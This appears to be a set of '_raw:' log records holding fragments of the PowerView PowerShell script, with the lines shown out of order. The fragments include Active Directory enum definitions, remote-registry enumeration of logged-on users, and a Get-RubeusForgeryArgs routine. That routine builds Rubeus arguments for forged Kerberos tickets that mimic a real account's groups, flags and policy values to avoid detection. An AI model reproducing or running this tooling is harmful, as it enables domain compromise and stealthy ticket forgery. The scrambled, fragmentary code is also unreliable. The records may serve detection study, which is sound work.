_raw: WORKSTATION_TRUST_ACCOUNT       =   4096


_raw: INTERDOMAIN_TRUST_ACCOUNT       =   2048


_raw: $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{


_raw: # used to parse the 'userAccountControl' property for users/groups


_raw: UNIVERSAL_SCOPE                 =   '0x00000008'


_raw: DOMAIN_LOCAL_SCOPE              =   '0x00000004'


_raw: CREATED_BY_SYSTEM               =   '0x00000001'


_raw: $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{


_raw: # used to parse the 'grouptype' property for groups


_raw: ACCOUNT_TYPE_MAX                =   '0x7fffffff'


_raw: APP_QUERY_GROUP                 =   '0x40000001'


_raw: APP_BASIC_GROUP                 =   '0x40000000'


_raw: TRUST_ACCOUNT                   =   '0x30000002'


_raw: MACHINE_ACCOUNT                 =   '0x30000001'


_raw: NON_SECURITY_ALIAS_OBJECT       =   '0x20000001'


_raw: NON_SECURITY_GROUP_OBJECT       =   '0x10000001'


_raw: DOMAIN_OBJECT                   =   '0x00000000'


_raw: $SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{


_raw: # used to parse the 'samAccountType' property for users/computers/groups


_raw: $Mod = New-InMemoryModule -ModuleName Win32


_raw: # and can't be changed while the script is running!


_raw: # Warning: Once these are executed, they are baked in


_raw: # Expose the Win32API functions and datastructures below


_raw: Write-Warning "$Computer connected but did not return subkeys"


_raw: $Obj | Add-Member -Name Users -MemberType NoteProperty -Value $users


_raw: $Obj | Add-Member -Name Computer -MemberType NoteProperty -Value $Computer


_raw: $user | Add-Member -Name Name -MemberType NoteProperty -Value (ConvertFrom-SID $subkey)


_raw: $user | Add-Member -Name SID -MemberType NoteProperty -Value $subkey


_raw: if ($PSBoundParameters['Check'] -and $subkeys.Length -gt 0) {


_raw: $subkeys = $reg.GetSubKeyNames() | ?{$_ -notmatch '.DEFAULT' -and $_ -notmatch '_Classes'}


_raw: $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', $Computer)


_raw: if (Test-Connection $computer -Count 2 -Quiet) {


_raw: Get-LogoffTime -LogonHours $LogonHours -LogonTime $(Get-Date)


_raw: Switch. Just check if connecting to the remote registry works.


_raw: if (-not $FoundLogoff -and $Hour -gt 0) {


_raw: Write-Verbose "[Get-LogoffTime] User is not allowed to logon now!"


_raw: Logon hours object output by Convert-LogonHours


_raw: Calculate the proper logoff time for a user given the logonhours field and the current time.


_raw: $OutArguments += " /renewtill:$($DomainPolicy.KerberosPolicy.MaxRenewAge)d"


_raw: if ($DomainPolicy.KerberosPolicy.MaxRenewAge -ne 7) {


_raw: $OutArguments += " /endtime:$($DomainPolicy.KerberosPolicy.MaxTicketAge)h"


_raw: if ($DomainPolicy.KerberosPolicy.MaxTicketAge -ne 10) {


_raw: $OutArguments += " /endtime:240m /renewtill:240m"


_raw: # in Protected Users group with time endtime and renewtill of 240 minutes


_raw: $OutArguments += " /maxpassage:$($DomainPolicy.SystemAccess.MaximumPasswordAge)"


_raw: if ($DomainPolicy.SystemAccess.MaximumPasswordAge -gt 0 -and $Account.useraccountcontrol -notmatch "DONT_EXPIRE_PASSWORD") {


_raw: # only set PasswordMustChange if policy is set to expire password and user isn't configured so password doesn't expire


_raw: $OutArguments += " /minpassage:$($DomainPolicy.SystemAccess.MinimumPasswordAge)"


_raw: if ($DomainPolicy.SystemAccess.MinimumPasswordAge -gt 0) {


_raw: Write-Warning "[Get-RubeusForgeryArgs] User is not allowed to login now!"


_raw: if ($LogoffTime -and $LogoffTime -ne $Now) {


_raw: $LogoffTime = Get-LogoffTime -LogonHours $Account.logonhours -LogonTime $Now


_raw: $OutArguments += " /homedir:""$($Account.homedirectory)"""


_raw: $OutArguments += " /homedrive:""$($Account.homedrive)"""


_raw: $OutArguments += " /profilepath:""$($Account.profilepath)"""


_raw: $OutArguments += " /scriptpath:""$($Account.scriptpath)"""


_raw: $OutArguments += " /groups:$($Groups -join ',')"


_raw: $OutArguments += " /uac:$($Account.useraccountcontrol -replace ' ','')"


_raw: if ($Account.useraccountcontrol -ne "NORMAL_ACCOUNT") {


_raw: $OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbios:$NetbiosName /dc:$($DomainObject.DomainControllers[0].Name) /domain:$Domain /pgid:$($Account.primarygroupid) /displayname:""$($Account.displayname)"" /logoncount:$($Account.logoncount) /badpwdcount:$($Account.badpwdcount) /pwdlastset:""$($Account.pwdlastset.ToString())"" /lastlogon:""$($Now.AddSeconds(-$(Get-Random -Maximum 10)).ToString())"""


_raw: # we have everything we can start to build the arguments


_raw: # get time now for logontime and logofftime


_raw: $NetbiosName = (Get-DomainObject -SearchBase "$ConfigDN" -LdapFilter "$NetbiosFilter" @SearcherArguments).netbiosname


_raw: $ForestDN = "DC=$($Forest -replace '\.',',DC=')"


_raw: $DomainObject = Get-Domain @ForestArguments


_raw: $GroupObject = Convert-LDAPProperty -Properties $Prop


_raw: foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {


_raw: if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) {


_raw: foreach ($a in $_.Attributes.Keys | Sort-Object) {


_raw: if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {